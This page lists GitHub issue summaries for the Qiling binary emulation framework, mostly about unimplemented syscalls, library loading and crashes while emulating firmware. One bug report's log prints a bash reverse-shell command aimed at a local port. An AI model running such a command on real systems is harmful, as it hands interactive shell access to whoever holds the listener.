qiling
qiling copied to clipboard
A True Instrumentable Binary Emulation Framework
***Describe the bug** 在模拟httpd过程中,load shared libraries 报错,提示libpcre.so.0 Operation not permitted ``` ─# ls usr/lib/libpcre.so* -all lrwxrwxrwx 1 root root 16 Oct 30 02:27 usr/lib/libpcre.so.0 -> libpcre.so.0.0.1 -rwxr-xr-x 1 root root...
***Describe the bug** When simulating the /bin/sh process, after the shell starts, the pwd command displays normally, but when the ls or id command is entered, it raises the gevent.exceptions.LoopExit...
***Describe the bug** This bug be report,when run qiling? It works fine when run with qemu-user-static. ``` [+] [Thread 2000] b'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' [+] [Thread 2000] 0x90064488: recv(sockfd...
Add support for WASM bytecode emulation. Qiling already support the EVM as a stack virtual machine. Other VMs that could be supported are the WASM VM, the Dalvik VM, etc.
***Describe the bug** I receive the following error and it is not clear how to address. ``` [x] [Thread 2002] Syscall ERROR: ql_syscall_getpeername DEBUG: 'PersistentQlFile' object has no attribute 'getpeername'...
***Describe the bug** When emulating a binary that does a stat() library call, there is always a -1 result with errno set to EOVERFLOW. The same binary, ran with qemu-arm,...
***Describe the bug** The 8086 DOS/MBR example in the qiling/examples folder is not running correctly. Fresh install with pip. Ubuntu 22.04 in WSL. **Sample Code** ``` qiling/examples> python3 doogie_8086_crack.py Traceback...
***Describe the bug** 当我运行arm架构程序,在程序执行到system函数的时候出现了崩溃,这好像是子进程的问题,有办法解决吗 `[x] Syscall ERROR: ql_syscall_clone DEBUG: 'NoneType' object has no attribute 'cur_thread' Traceback (most recent call last): File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall retval = syscall_hook(self.ql, *params)...
When I emulated an arm_32 program I met this: (at dev-branch) ```bash [!] 0x9007ff44: syscall ql_syscall_setgroups32 number = 0xce(206) not implemented [!] 0x90080260: syscall ql_syscall_setuid32 number = 0xd5(213) not implemented...
我在使用qiling运行trendnet的固件中的web守护程序goahead时,发现以下报错: `syscall ql_syscall_ipc number = 0x1015(4117) not implemented` 调试发现是因为goahead程序调用了msgget函数导致的错误。进一步分析qiling代码,发现qiling未实现Linux ipc有关的系统调用,包括共享内存、消息队列等内容。 我看到有不少Issues反馈了这个问题,是否有开发者愿意实现,我可以协助测试。